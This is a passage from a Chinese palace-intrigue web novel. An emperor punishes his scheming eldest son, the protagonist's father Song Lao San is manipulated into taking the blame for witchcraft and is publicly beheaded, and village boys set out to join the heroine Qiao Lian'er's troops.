等到寝殿里一片清静,皇帝缓缓道:“祈公公,刚才孙平的话你都听到了吗?你觉得如何。” 祈公公不知道皇帝要什么答案,斟酌了一下回答:“好在乔家相安无事。” “大皇子说,信上写的是什么,还用说吗?何以如此肯定。” “这个,怕是一场误会,毕竟香炉隐蔽,把东西藏在里面,人的第一反应,会怀疑见不得光,又恰好碰到搜索的时候,就额外多想了些。” 祈公公可没有那么傻,去说大皇子的坏话。 就算皇帝对大皇子产生了怀疑,那也是另一码事。 皇帝却哼了一声:“他竟然针对起乔家来,还想拉着裴家入泥潭。” “皇上,这不过是猜测,大皇子对您一片孝心,不敢这样胡作非为的。” “大皇子贪慕军权,他曾经暗示朕,要禁军殿前都检点的位置,想要统帅禁军,朕没有答允,他又惦记起了内军和乔家军。” 祈公公这会不再说话,只是恭恭顺顺地听着。 皇帝的手指缓缓敲着龙椅的扶手。 “你说,会不会原本放到香炉里的,是另外一封信。” 第560章 楚尧昭,你可知罪 祈公公听到这句话,表情不由得僵凝了一下:“皇上的意思是说。” “只不过是被镰儿换了。” 乔镰儿就坐在一边龙椅上,心里面一个大写的佩服,一个统治天下太平盛世的帝王,又怎么会简单呢。 轻而易举,就把事情脉络给推导出来。 祈公公的头皮一下子炸了,那种阵阵发麻的感觉,让他额头上浮了一层凉汗。 “这,这也太,太曲折诡异了,难道这一场搜索,是在针对乔家。” 皇帝不由得想起,大皇子主动请缨,要求亲自去调查有人通敌的传言。 结果在乔家的香炉里搜出信件,信还没有拆开,大皇子就一口咬定乔家通敌,还连带裴家一起。 裴家作为异姓王,大权在握,本该是个心头大患,为什么一直留着? 因为大泽开国百年以来,裴家有二十几次助大泽国化解外族入侵和内政争夺的危机,祖祖代代,都为大泽国做出了贡献,甚至牺牲了不少族人子弟。 这是大泽国的定海神针,哪里像那些只顾吃喝玩乐,明争暗斗的亲王和皇子? 所以,在历代先祖的心目中,裴家都很重要,哪怕是用不着,也要好好留着供着,当个吉祥物也好。 大皇子居然把主意打到裴家上去,这是皇帝不能容忍的。 还要葬送乔家,他敢说他的那些皇子公主,都没有镰儿对他更有孝道,也没有谁比镰儿更能讨他欢心。 这两件事一重叠起来,皇帝心中怒意涌起,这还是他从来没有过的情绪,他也从来没有对大皇子发过火。 可是这一次,大皇子太不知数了。 皇帝闭上眼,努力克制着心中的怒气,可却怎么都不会消减。 “去,把大皇子传来。” 大皇子已经被禁足在殿中,皇帝突然传召,以为是要安抚自己,便欣然前往。 可等他到了寝殿外,敏锐地察觉到里面气氛的压抑和清冷,顿时就不安了起来。 难道,父皇又知道了什么。 皇帝坐在正位上,脸色阴沉,身上散发出一层层威压。 “楚尧昭,你可知罪。” 听到老子直呼自己的全名,大皇子不由得一个激灵,这还是从来没有过的事情,他不由得抬起了头,眼里流露出一丝惊慌。 “父皇,儿臣不知,儿臣何罪之有。” “你真的以为,今日的搜查,朕没有亲临现场,朕就什么都不知道。”皇帝死死盯着他:“从一开始,这就是你的一场算计,为了对付乔家,同时将裴家一网打尽,你在早朝上主动请缨,不过是做戏而已,要借着搜查之名,坐实乔家和裴家的罪名。” 大皇子浑身出了一层冷汗,没想到父皇就这样把前因后果给推出来了,难道是乔镰儿或者裴家到父皇的跟前,参了他一本。 想想又不可能,没有证据的事情,两家不可能犯傻,把罪名推到一个皇子的头上,这样反而会让自己沾上一身泥。 可能是父皇了解了今天在乔家发生的事情,所以想到了他的身上。 搜出那一封信的时候,他的确有点操之过急,帮着定乔家的罪。 哪里想到,信的内容早就被替换了,这样一来,他当时的迫不及待就显得可疑了起来。 “父皇,儿臣冤枉,儿臣绝没有这样做的理由。” “你有。”皇帝脸上多了一丝冷笑:“朕从来没有不许自己的儿子有野心,可是你不走正道,净想着这些歪门邪道,就算当时立你为储君,你又怎能服众?” 不仅仅是这件事,刚才孙平还额外交代,太子和裴家带的人循规蹈矩,老老实实搜查办事,大皇子带的人手脚却不干净,如此一来,那些高门就对大皇子生出了意见。 这一次的事情,皇帝失望,真的很失望。 “父皇,儿臣说实话,儿臣是不太喜欢乔家,所以搜出那封信,儿臣因为一己的偏见,以为信上的内容不干净,才忙着把乔家治罪,为此怕是引起一些人的猜疑,到父皇跟前来嚼舌根。” “但儿子绝对没有故意针对乔家和裴家,再说那信上,不是什么问题也没有,还了乔家清白。” “信是被飞鸾郡主替换过了吧,所以当时你一脸失望沮丧,似乎心愿落空了一样。” 孙平可不仅仅是讲述事情经过,每个人是什么样的表情,都交代得清清楚楚。 “父皇,这是哪来的谣传,儿臣生性就不爱笑,难道这也有错。”大皇子要气疯了,牙关都在打颤,居然把他是什么样的反应,都全报到了父皇的跟前。 要是知道那个人是谁,他非要把他大卸八块不可。 “到底是谁在父皇的面前捕风捉影,颠倒黑白,挑拨父皇和儿臣的父子情分,请父皇把那个人找来,儿臣要当面与他对峙。” 整个过程,皇帝一直在察言观色,换做别人看到大皇子这样恳切又义愤填膺的样子,大概会选择信他。 可皇帝是看着大皇子长大的,大皇子说谎的时候,会下意识握住右拳,给自己增加信心。 此时此刻,大皇子正是握着右拳。 看着自己最宠爱的儿子在跟前演戏,皇帝突然觉得一阵疲倦。 又想到了陪自己吃榴莲荔枝,说说笑笑的镰儿。 大皇子似乎觉得,咬死不认,他就不能拿他怎么样。 可做过的事情就是做过。 只是要怎么罚,除了东宫太子有一点协助政务的权力,其他的皇子都无实权,无法进行剥夺。 皇帝决定,还是用家法处置比较好。 他俯身,看着大皇子:“你记住,太子是未来的储君,不可动,裴家是大泽国的定心丸,不可动,飞鸾郡主是大泽国难得一见的奇女子,也是朕的开心果,也不可动。” “你犯下如此大错,还好没有酿成恶果,朕宽宥你一次,下次不可再犯,否则,不会轻饶。” “去领三十个板子吧。” 见皇帝已经坐实他的罪名,还要打他板子,大皇子想要辩解,可是皇帝已经抬手让他下去。 大皇子退出寝殿,袖子下的双拳握了起来,心里第一次,对皇帝产生了一道深深的裂痕。 第561章 你最恨的那个人,这一次,必死 皇帝靠在宝座上,却没有丝毫的睡意,他看着半空,脸上多了一抹悲哀。 “皇子内斗,还是朕最器重的太子和朕最宠爱的大皇子,生在帝王家,难道终归免不了兄弟阋墙,血流成河。” 是的,以皇帝的敏锐猜到了,大皇子之所以这样做,是因为太子上次感激乔镰儿一事,让他觉得太子有心拉拢乔家。 打压乔家,就等于是对太子动手,同时裴家和乔家走得近,顺带一起收拾掉。 大皇子太多疑,以后皇位也不是他来坐,这样的性子和处境,怕是麻烦无穷,所以,皇帝很是头疼。 夜已经很深了,大猛还没有回家。 乔家人在杜青兰的家里找到他,只看到他坐在院子里,怀中抱着杜青兰的尸体,杜青兰显然是服毒身亡,眼耳口鼻都流出黑血,而且面部青黑,在夜色下有点吓人。 看到这样的一幕,大成只庆幸没有让裴清容跟来。 大家都沉默着,不忍去打搅大猛。 “大猛哥,不要再难过了,将她葬了吧。”终于,乔枝枝开口道。 不管杜青兰过去做了什么事,她都已经死了,人死账消,而且,她不这样说,大猛哥也是要将人安葬的。 大猛看到了站在夜色中的乔家人,他这才意识到,天已经这样晚了,又低头看了看怀中的人,杜青兰早就凉透,像抱着一块冰。 他麻木的心,传来一阵刺痛,那种苦涩又无望的感觉再一次席卷了他,抱着人慢慢起身,走出院落。 然后将人安顿在马背上,翻身上马,对大家道:“我明天回来,不要等我了。” “好,那你好好的,小心些。”乔老三没有阻拦儿子。 就算杜青兰再不值得,也是大猛掏心掏肺对待过的人,还是大猛的未婚妻,大猛不亲手葬了她,怕是会留下心结。 又让那些士兵跟着去,还多添了一些人手,乔家遭到这样的算计,那些人一定不会死心,还是要多留一个心眼的。 乔家人看看满院子的精心布置,明明那样喜庆隆重的颜色,可是在两盏风灯的映照下,却显得分外的惨淡冷清,让乔家人的心情越发沉重起来。 是的,杜青兰死了,她罪有应得,可是他们却一点都高兴不起来,只觉得自己的心受到了不小的伤害。 等回到家里,看到乔镰儿和裴时玖在暖阁里下围棋。 镰儿神情镇静,波澜不惊,仿佛不管历经什么风浪,她的内心都不会受到一点影响,那样的大气稳沉。 比起来,他们还不如一个小女娃子,不仅仅是能耐,还有心性。 此时此刻,乔家人只觉得心中的凝滞消散了不少,什么都会过去,往前有更美好的期待。 他们的脚步都轻快了不少。 不过,谁都没有去打搅里镰儿,或许,这段时间的事情,镰儿还要复盘呢。 “我方才去看了一趟,陈副将和庞达都被收监,三天后才排到三司会审。”乔镰儿道。 “皇上既然已经猜中了大皇子的这一场算计,大皇子被打了板子,这两个跟着大皇子的,绝不会好过到哪里去。”裴时玖缓缓说着,落下一子。 如果可以,乔镰儿是真心希望判一个秋后问斩。 “大皇子自顾不暇,应该抽不出心思保二人吧。” 裴时玖却摇头:“难说,还是有人想要在大皇子跟前讨好的,指不定今晚就有动作,京城的事情,不到最后一刻,都说不一定。” 乔镰儿皱了一下眉头。 裴时玖看了她一眼,这段时间,乔镰儿到处来去,就连睡觉都睡不好,人像是瘦了好几斤。 为了这个家,她当真是呕心沥血。 其实,使用那些特殊功能,还是很损耗精力的,再加上什么事都要亲力亲为。 她要警惕那些人对乔家不利,有防有攻,还要管理大到没边的商业帝国,封地那儿隔两三天也要去一趟,不然,军中的事务又要积累一大堆。 所有的事情,都扛在她一个人的肩头上。 “今晚你好好休息,不要再操心了,我向你保证,你最恨的那个人,这一次,一定不得善终。” “他不会像以前那样,有起死回生的机会。” 裴时玖落下最后一子,起身离去。 乔镰儿没有拒绝,她静默了一下,道了一个字:“好。” 她也的确是太累了,这样下去,这副身体迟早吃不消。 乔家人今晚都有点睡不着,乔镰儿却睡得分外的好,还做了一个香甜的美梦。 刑部大牢的门打开了,一道身影踏入,来人披着一身玄色的斗篷,垂下来的帽檐遮挡了大半张脸,唯独可以从侧面看到修挺如玉的鼻梁。 他一路进来,随手撒着银票,那些狱卒便没有任何拦截。 一个狱卒将人引到一个牢门前,恭敬道:“贵人,人就在里面,只要不把人弄死,随您的便。” 说着,一边打开门锁。 “退下吧。”来人开口,清朗好听,仍带着两分稚气。 视线可见的范围,狱卒退得干干净净。 陈副将和庞达被关在一起,手上脚上都戴着镣铐。 方才庞达正挥舞着双臂,向陈副将啊啊啊地讲着眼下处境的脱围之策,不过戴着镣铐,动作混乱不准确,陈副将没有看懂,脸上已经没有多少耐心。 “你究竟是说——” 然后就看到黑色斗篷的人来到了牢门前,还将所有的狱卒都收买了。 二人立刻露出了警惕之色,瞪着来人。 不过,来人的帽子挡住了脸,再加上牢房里光线昏暗,二人仔细打量,都分辨不出对方的身份。 裴时玖走到庞达的身边,一肘子砸在他的后颈上。 庞达下意识抬手阻拦,可已经来不及,一个狗吃屎扑倒在地。 陈副将吓了一大跳,他看出对方身手不凡,赶紧往角落缩去:“你是谁,你想杀人?” “别乱来啊,案子还没有定性,我们是无辜的。” 他似乎看到对方的嘴角勾起一抹莫测的笑意:“放心,不杀你,你的这条狗不顶事了,我来教你如何脱身。” 第562章 庞达上行刑场 听到脱身两个字,又看对方气度非凡,陈副将眼里闪烁了一下。 他很清楚,在卧室里搜出了诅咒大泽国气运的娃娃,不管是不是他写的,此事都很难善了。 现在有个人出现,说是要帮他脱身。 不过很快,陈副将又警惕了起来,小心地盯着对方。 “说吧,你这样做的目的,你有什么条件。”天上绝不会掉馅饼。 “没有条件,纯粹是来帮你而已。” 陈副将不明所以,无亲无故,对方为什么要这样做。 裴时玖看向一边晕厥的庞达,眼眸暗沉了两分。 身为人父,没有承担作为父亲的责任也就罢了,对女儿这样仇视,处心积虑要女儿死。 虎毒还不食子呢,镰儿有这样的父亲,也真的是倒霉。 这种人只要有一口气在,就要想方设法,挖空心思地对付自己的女儿。 那么,就让他永远葬在黄土之下。 “你想脱罪,其实很简单,拉一个垫背就可以,那些稻草娃娃,是你的这个幕僚放的,你让他把所有的罪名都揽在身上。” 陈副将拧眉,说真的他有点舍不得,虽然庞达舌头被拔了,手筋被挑了,但是还能出主意。 他还抱着一个幻想,如果两个人都能脱身,庞达绝对是他的一大助力。 裴时玖知道他在想什么,笑了:“陈副将,你真的觉得,搜出那种东西,会安然无恙离开这里吗?哪怕你能苟延残喘留下一条命,你也不要想在内军里待下去了。” “这些东西都没有了,你们两个都活着又有什么用。” 陈副将不由得斟酌起来。 “可是这个庞达未必会自愿。” “怎么不会自愿,他已经是一个废人,如果你用他的儿子做要挟,一命换一命,他是愿意的。” 这一句话,少年是咬着牙根说的。 庞达愿意为庞佑豁出性命,却要镰儿死,真是讽刺。 陈副将面露恍然,想想自己的前途,他将心一横:“我知道该怎么做了。” 说到底,庞达不过是他身边的一条狗,是狗就要有牺牲的觉悟,现在,是他拿出诚意的时候了。 少年款款起身,抬步离去,身影消失在阴暗的拐角。 第二天一大早,大猛回来了,他的身上沾染着一层冰霜,和大家一起吃着早饭,不发一言。 但看他已经平静地开始接受,大家知道,他需要的不过是时间而已。 又等了两天,三司会审的消息传来,是庞达把稻草娃娃放在陈副将的房间内,至于是什么缘由,已经不要紧,因为庞达口不能言,手不能写,只要知道是他做的,他一人把事情全部担下来就好,被判处决。 至于陈副将,也是犯了失察之罪,被剥夺了内军副将的职位,降成中尉,手下的四万兵,也变成了一千,对于他人生的前途来说,这是一个惨淡的局面,但至少保住了一条命,人也还在内军中。 庞达处决的这一天,乔家人都去行刑场看。 这宋老三真难杀,到现在,他终于要去见阎罗王了。 每个月都要处决一大批死刑犯,现在距离判决结果出来刚刚过去三天,宋老三运气不好,也只是多活了三天而已。 此时此刻,他和一大堆死刑犯分排跪在行刑场上,脚上和手上都戴着铁铐,身上被绳索捆缚,后背插着亡命牌,写着他的姓名以及犯罪事由:行巫蛊之术,诅咒大泽气运。 那些杀人放火抢劫的,百姓见怪不怪,都不太关注,几乎所有的人的目光都落在庞达身上,对着他指指点点,议论纷纷。 “巫蛊之术是咱们这片土地历朝历代的禁忌,这人好大的胆子,怕是成心找死。” “现在好了,还真要奔赴黄泉了,也算是得偿所愿。” “行巫蛊之术,没有抄家,已经是上头宽容。” “这诅咒大泽气运,不仅仅是诅咒皇上,就连咱们这些普通老百姓也诅咒了,不想让咱们过好日子呢。” “杀得好,死得活该。” “对,杀得好,砍头真是便宜他了,应该把他五马分尸,凌迟处死。” 百姓们说着,将手上的东西朝庞达扔过去,有的东西坚硬,把庞达砸得头破血流。 庞达不闪不躲,他仿佛没有看见这些唾弃他的百姓,阴沉沉的目光,盯着人群里的乔家人。 乔家人全部都来了,包括大着肚子的乔溪儿,就是来看他死。 斗了几年,他还是输了,输的一败涂地,无比狼狈。 他还不到四十岁,怎么会甘心现在赴死?只不过,陈副将用庞佑来威胁他。 如果他不把所有的罪名揽到身上,父子都得死,大家全完蛋,如果他乖乖照做,能让他儿子活,而陈副将会继续帮他对付乔镰儿一家。 经过了一次次失利,这一次这么精妙的计划,都没有把乔家给击垮,庞达满心无力,浑身疲惫,他打算交给庞佑来赌。 他相信,他的儿子一定会比他更聪慧,长大以后,能够给乔家致命一击。 所以再不想死,他也得死。 想到这些,庞达极度沉郁不甘,夹杂着深浓恨意的双眼,突然释放出一抹奇异的亮光。 他突然仰头大笑了起来,死死盯着乔镰儿,目眦欲裂,拼命挥舞着手臂,每一下动作都很用力,意思也很明确。 乔镰儿,你别以为你赢了,总有一天,会有人来收拾你,你吃进去的,要连心带肺地吐出来。 乔镰儿见他死到临头了,还想着对付她,不由得生出了两分佩服。 有的时候,仇恨成为一种执念,已经不仅仅是仇恨了,非要达到目的,不然死不瞑目。 宋老三这么恨她,还有另一层的原因,就是觉得她作为他的亲生女儿,却处处违背他,挑战了他的权威, 作为父母,被自己的儿女忤逆和厌恨,是最不能接受的。 乔镰儿静静道:“你放心,我会把他们送下去陪你。” 她声音不大,人群喧闹,宋老三却通过唇形判断得清清楚楚。 “包括你的儿子,庞佑。”乔镰儿接着又补一刀。 第563章 斩! 果然,宋老三瞳孔紧缩。 他一直以为,庞佑在京城的事,只有他自己和何副将,陈副将少数几个人知道。 没有想到,乔镰儿已经掌握了这个消息。 目前他的儿子正在发育壮大,就等着哪一天真正强大起来,给他沉冤昭雪,报他心头之恨。 没错,沉冤昭雪,此时此刻宋老三心中掠过的是这个词。 他觉得自己被乔镰儿暗算,逼入了绝境,他是冤屈的,是不甘的。 可是,乔镰儿知道他儿子的存在,她会怎么做,神不知鬼不觉杀了他的儿子吗? 庞佑也才十三岁的年纪,在乔家人的面前,弱小得像一只蚂蚁,所以他一直没有露面。 想到可能哪一天,希望彻底断送,庞达的脸色刷地一下子变得惨白,全身凉透,剧烈地颤抖起来。 他突然后悔死了,后悔跟陈副将的交换。 只有他活着,才是最大的希望,庞达这才想到,这不过是用一个普通士兵就能抵罪的事情,他居然全揽在了自己的身上。 因为被用庞佑来威胁,他一心想着二选一,把自己搭了进去,现在意识到,还能有其他的选择。 庞达的肠子都悔青了,他拼命挣扎着,望望苍天,又望望人群,五官扭曲地拉扯着。 他是天选之人,他运气一直都很好,多么希望在这种时刻,出现什么转机,出现一个可以拯救他的人。 现在他知道了这些,叫他怎能安心赴死。 可是,入眼都是看热闹的人,耳边都是骂他的声音,还有乔家人大快的脸。 没有什么能够,响应他心中的渴望。 “啊啊啊啊。”庞达挥舞着手臂,他不能死啊,他死了,说不定多久,庞佑也就跟着下去了。 监斩官看到这个罪犯刚才还安安静静的,现在却这样激动。 他抬头看了一下日头,离午时三刻越来越近了。 监斩官冷笑,刚才还强装镇定,现在离死亡越来越近,还不是惊慌失措。 不过,比起宋老三的反应来,其他的死刑犯却都低垂着脑袋,随着时间的推进,愈发的死气沉沉。 “那个罪犯,让他消停一点。”监斩官将宋老三一指。 一大块脏抹布塞到了他的嘴里,又一拳砸到了他的头上。 宋老三昏昏沉沉,可还记得自己的执念,呜呜呜地叫着,做垂死的挣扎。 等他清醒一点了,他极度怨毒的目光又看向了乔家人,乔家人那样的平静,没错,平平静静地看着他去死,因为知道这一次他无论如何也逃不脱了。 而且他们的眼神,就像是在看一头待宰的畜生。 宋老三恨啊,悔啊,这些情绪,不断冲击着他的五脏六腑,双眼瞪出了一片血红。 看到他这个样子,乔家人心中的痛快无法形容。 他们想过有一天宋老三会死,可没想到,死得这样大快人心。 这比宋老三死在山上,更让他们喜闻乐见。 裴时玖立在乔镰儿的身边。 “如何,这个结果满意吗?” 乔镰儿面上带着淡笑:“不错,二公子有心了。” “这一次他们闹出这么大的动静,也总要让他们这边的人见血才是,不仅仅庞达处死,大皇子挨了三十个板子,现在还下不来床。” 裴时玖抱着手臂,也是有一种大风浪过去的慵懒。 乔镰儿说道:“我始终都相信天道,老天会站在正义的这一方,人不犯我,我不犯人,人若犯我,那便要付出代价。” 午时三刻已到,太阳明晃晃地直射下来,刺得人睁不开眼睛。 “斩。”监斩官发了令牌。 死刑犯背上的亡命牌被摘下,刽子手们高高扬起了鬼头刀,刀面上,寒光闪烁。 手起刀落,一排排人头落地,鲜血冲颈喷出数丈高,百姓们忙忙后退,一边发出啧啧的惊叹。 作为京城的百姓,他们早就见怪不怪,这些死刑犯都是罪有应得,死不足惜,唯独感慨这样的场面壮观。 眼看宋老三人头落地,完完全全死透了,乔家人这才回去。 大家都舒了一口气,这些年来宋老三兴风作浪,折腾不休,以后他终于蹦达不起来了。 乔云妮也在京城,可是乔老太没有让她来,毕竟做了几年的夫妻,又有两个孩子,乔云妮再恨宋老三,也不该面对这样的情形。 不过,乔云妮早就锻炼出了坚韧的性子,她此刻在乔镰儿给她盘下来的一栋专卖坚果和干果蜜饯的楼里,查看着账本。 如今的乔家人,看账本,阅读,都已经很流畅。 宋老三最终被斩首的消息传来,乔云妮只是点了一下头,脸上露出了一抹欣慰。 真好,以后镰儿不用面对这样的爹了。 她不知道镰儿委不委屈,心里面有没有一点对父爱的渴望。 但是她不像镰儿有这样的父亲。 乔溪儿在一进前院里站着,身边的丫头翠芝正在烧纸。 盆边,插着三炷香,香烟袅袅。 宋老三死了,她第一个孩儿的仇,总算是真正地报了,现在她终于可以告慰孩子的在天之灵。 肚子里的新生命,还有两个月就临盆,乔溪儿的情绪很平和,过去的疼痛,变成了淡淡的惋惜和追思。 到今天,一切可算是过去了。 她抬脚进了门。 那些被处决的死刑犯,都有家人来收尸,一个接一个的尸首被抬走,最后剩下了孤零零的宋老三。 他人头落地,双眼还兀自瞪着,红得像被鲜血灌满,让人都不敢多看一眼。 不远处的街口,一个身影冒出头来。 如今在京城吃好喝好,十三岁的宋瑞儿已经长高了许多,脸上也更显出两分成熟一点的狠厉来。 他爹死了,他都不敢出面去收拾,免得被人发现他的存在。 都是乔家人害的,是乔家人把他爹害到了这个下场。 现在爹尸首分离在行刑场上,他只能远远看着,何其的悲哀。 宋瑞儿的拳头攥了起来,牙根都要咬碎,眼里都是恨意。 乔镰儿,乔家人,你们等着,来日方长,我总会长大,总会考中进士做官,到时候,就是你们的末日。 宋瑞儿深吸一口气,转身离去,消失在茫茫人海之中。 第564章 孩子们出发去京城 到了黄昏,宋老三的尸体,还没有人收拾,就被扔去了乱葬岗。 这一辈子都在往上攀爬,不择手段,六亲不认,想做人上人,结果乱葬岗就是他的归宿。 乔家人今晚好好庆祝了一顿。 这事过后,乔老太和乔老头,乔云妮他们都要回去。 大家来这里,本来是为了见一眼大猛未来的媳妇,没想到却看到了这些波澜,真的是惊心动魄,好在乔家相安无事。 乔镰儿想着福生禄儿他们也要来京城,她该去做安排了。 至于乔云妮在京城的铺楼,有的是人打理,这个不必操心。 下一次大家再来,应该是两个月后,乔溪儿临盆生产的时候。 现在大皇子这边元气大伤,又被禁足,乔镰儿相信,几个月内,应该不会有什么动作了。 第二天一大早,大家就回去了大田村。 乔镰儿刚出现不久,福生他们就来了。 “镰儿姐,阿大他们也很愿意去京城呢,天天盼着念着,前两天还找到村里来,问问镰儿姐你回来没有。” “镰儿姐,我们什么时候可以出发呀。” 乔镰儿道:“我会专门派一支骑兵队,护送你们到京城,快马半个月就可以抵达。” “真的都准备好了吗?会不会到了半路想家。” “不会,家里也催着我们赶紧出发呢。” “天天待在这个小村子里,都待腻了,我们可不想这样过一辈子,我们也要去外面闯天地。” 大用道:“我有一支专门的骑兵队,就让他们送去吧。” 孩子们赶紧跑去家里,收拾好衣服。 小猛赶着马车去咏关县,把阿大他们接来。 去京城三年,乔镰儿已经很久没有见阿大他们了,个个都长高了不少。 “大家过得怎么样啊。”她问。 “我在酒楼里做跑腿小二,一边认字学习记账。” “我在药馆子里做学徒。” “我在学习制皮具。” 大家纷纷说道,脸上都带着自豪,他们学会自力更生了,每个月都有收入,虽然不高,但是能养活自己。 以前他们接受乔镰儿的接济,总有那种寄人篱下的感觉,气质也显得卑怯。 但是现在,精神面貌焕然一新,每个人浑身散发着蓬勃生机。 不仅仅有了立世的本事,他们马上又要成为光荣的士兵,不由得充满了力量。 大家在一起好好吃了一顿饭,大用的骑兵动身出发,把孩子们护送往北方去。 出发的时候,不少村民都来到路口相送,福生他们这一去,还不知道什么时候才能回来一趟。 虽然希望儿子建功立业,但看到儿子离开,他们的爹娘还是红了眼。 拉着手,一番叮嘱又叮嘱。 老张头是个孤寡老人,家中无人,就这么一个孙子,可还是要把锁儿送去当兵,有村民忍不住多问了两句。 “张大伯,锁儿走了,你一个人孤零零在家里怎么办?虽然咱们村里人会帮衬着照应,但总不及有人陪在你身边。” “福生他们家里都不止一个孩子,送一个出去也没什么,你这是跟着凑热闹呀。” 老张头一听就扳起了脸:“别看我家穷,我身子骨可硬朗得很,多熬二十年没问题,再说不能因为我年纪大了,就要把锁儿关在家里,让他永远在村里没有出头的机会,去外头闯一闯,说不定还能光宗耀祖呢。” 锁儿现在才十一岁,他还怕郡主不收呢,郡主肯收下人,他多么求之不得。 大家都有点佩服老张头的想法,孤寡老人的盼头就这么一个孩子了,却肯成全锁儿出去闯荡的心愿,老张头是个有格局的。 赵里正对张锁儿道:“孩子,你只管安心去,你爷爷这里,有赵伯伯在。” 村里有孤寡老人补助款,是他跟县衙申请来的,用来补贴孤寡老人的生活,还有殡葬事宜。 好在这个村子出了一个镰儿,出了乔家这样厉害的门楣,县令肯卖他这个面子,其他村子哪有这样的福气。 张锁儿本来有点担心,刚才村民的话,更是让他的心动摇了一瞬。 可是听到爷爷和里正的话,他的心意坚定了起来。 “赵大伯,爷爷,我一定会混出名堂来,不会辜负你们对我的期望。” “到了京城,好好听郡主的话,啊。”老张头怕孙儿触别生情,一直强忍着情绪,见孙儿坚决表明梦想,此时此刻,他的眼睛也湿润了。 队伍出发了。 现在是一月,南国的寒冷已经驱散了大半,一些枝条已经开始萌芽,荒草间冒出了稀疏的碧绿。 日头初升,晨曦洒满了大地,让每个人的身上都浮上了一层淡淡的暖意。 孩子们披着晨光离去,那样的生机澎湃,意气风发。 傍晚,秦步从边防驻地回来,他特意从下面的路绕行,经过乔家门口,往里头看了一眼。 乔云妮从檐廊下经过,她如今过得极好,脸上带着平静和从容,没有一丝一毫的愁苦,仿佛过去的经历,离她是很久远的事情了,明明她过了那么多年的苦日子。 而且,她的身上养出了一份贵气,还有一种处事的稳重。 秦步只觉得如今的乔云妮,越来越让他移不开眼睛,一时间不由得停住了脚步。 乔云妮察觉到有视线落在她的身上,侧首一看,是秦步。 经过了几年在军中的历练,秦步面部坚毅,多了几分军人的冷硬,人看起来都魁梧挺拔了许多。 只是他的眼神,藏着一抹深浓,让乔云妮的脸颊有些发烫。 是的,嫁去宋家之前,她和秦步的确两情相悦,虽然没有表明心迹,但彼此的心意是看在眼里的。 只是都这么多年过去了,她的女儿已经长大,不愿再去想别的事,她肩头上扛着楚家家业,还有几个名下的大铺子要打理,每天价值感满满,觉得这样挺好的,也不一定要寻个男人度过下半生。 所以,乔云妮只是对秦步礼貌一笑,便进了屋子。 乔老太刚才在屋里往外看了一眼,她道:“秦步这些年来立下了几个小功,现在手下掌着一千兵,已经是大兵头,按京城的说法,中尉吧,等哪一天,你二伯和大用调去京城,他升个校尉是完全没问题的。” 第565章 活着都斗不过她,何况死了? 乔云妮听出了乔老太的意思。 她现在也不过才三十出头,如果人这一辈子活得长的话,三十岁其实还很年轻。 所以,乔家二老不想她一个人过完下半生。 “娘,我知道秦大哥很上进,也越来越优秀,只是我很满意我现在的生活,有大家陪着我,我觉得开心,幸福,这就够了。” “镰儿不嫁,你们不用担心你们百年之后,分家以后我孤零零的,不会是那样的局面。” 如果说换做以前,乔家二老还是会好好劝乔云妮一把,镰儿嫁出去,哪怕再能顾及云妮吧,云妮再生一个孩子,晚年也会更好过一点。 可是知道了镰儿留家的决心,他们就不那么想了。 “行,依你,只要你高兴就好,乔家这么一大家子,用不了几年,孩子又满地跑了,总是越来越热闹的。”乔老太拍拍女儿的手背。 这几天,宋老三被行刑斩首的消息,也传遍了大田村。 虽然如今大田村不一样了,但宋家二老仍然喜欢坐在村口和老兄弟老姐妹唠嗑,叙叙以前的旧情,说着说着就说到了宋老三。 “啥,宋老三还到了京城去,还谋到了职位,风光了一阵子。” “这个人真能折腾,怎么打都打不死,当时他从驻地失踪,那么多士兵去找他,把方圆三百里的山都翻遍了,都没有他的踪影,谁想到他竟然到了京城。” “唉,如果宋老三走正道,如果他有一点良心,凭他的头脑,一定可以到更高的位置,享着福过完这辈子。” “这人心思一歪,你跟他讲道义和良心,他还觉得你可笑呢,就像有的靠歪门邪道发了财走了运的人,嘲笑咱们老实本分的老百姓一样。” 乔老太的一个老姐妹拉着她的手说:“好在终于被杀头了,死了个干干净净,不然你们乔家在京城,宋老三也在京城,不知道会给你们带来多少麻烦。” “是啊是啊,镰儿可是费了不少心神呢,咱们乔家最辛苦的是镰儿。”乔老太说。 “咱们这些老的大的,都比不上镰儿的脑子,镰儿咋安排,咱一家子老少就咋做,一路也算有惊无险地走过来了。” 村民们羡慕不已,乔家其实一开始,和村里其他人家并无分别,甚至因为水田正好处在发洪涝的河边,每年收成都不好,日子过得不如大多村里人。 哪里想到,乔镰儿突然开了窍,开窍不算,还回到了乔家,带领一大家子走向荣华富贵。 就像是老天突然眷顾她一样。 如果他们家也出一个镰儿,那也会跟乔家一样,唉,这样的大运和际遇,羡慕不来。 夸了一顿镰儿,乔家二老心满意足回去。 宋家被大火焚烧过后的废墟上,荒草离离,已经让人记不起原来的面貌。 不过,乔镰儿有一次从宋家旁边的路上经过,发现那些枯黄的乱草本来安静一片,突然发疯地晃动摇摆起来,仿佛在发出无声的抗议。 乔镰儿笑了,看来,宋家人葬送在那一次火海中,化作了鬼,都不忘记对她的仇恨。 她来到这个世界,就携带着一个空间,所以,对于鬼神之事,也并不觉得奇怪,很多事情,本来就是无法解释的。 所以,她停住了脚步,看着那一片荒草。 “我听说枉死的人,会一遍遍重复死亡的过程,想必你们天天被大火焚烧,滋味很不好受,那就给你们减轻一下痛苦吧。” 说着,乔镰儿招手喊来附近玩耍的孩子,给他们每人发了一把糖。 “以后大家到这里面来撒尿。” “遵命,郡主。” “我这就去撒一泡。” “我也去。” 孩子们冲进了宋家的毛草丛,一阵滋啦。 那些枯草更加愤怒屈辱地晃动着,可是一点办法都没有。 乔镰儿心满意足地走了,活着都斗不过她,何况是死了? 在大田村待了一段时间,又去越州待了小半个月,乔镰儿回到京城。 这个时候,福生和阿大他们已经抵达了封地,安排好了营房,并开始进行训练。 大成道:“我先训练他们一阵,现在你回来了,把他们编入你的队伍。” 乔镰儿点头,这些孩子本来就是要跟着她的。 就连给他们的营房,也比普通规格的大,而且距离中军大营更近。 正好一天的训练结束,乔镰儿让人把孩子们喊到中军大营。 孩子们穿着士兵的衣服,精神矍铄,目光炯炯,别看他们个子高低不同,脸上都带着稚嫩,却都挺直着腰背,看起来俨然一个个小大人,身上散发出澎湃的志气。 乔镰儿看到他们这样的面貌,很是满意。 “在这里待得习惯,吃得习惯吗?” “嗯,伙房天天换着新花样给大家做好吃的,兵服里面都加了棉的,吃得饱穿得暖。”禄儿说。 不仅如此,现在天气冷,床褥也垫了几层,盖了几层。 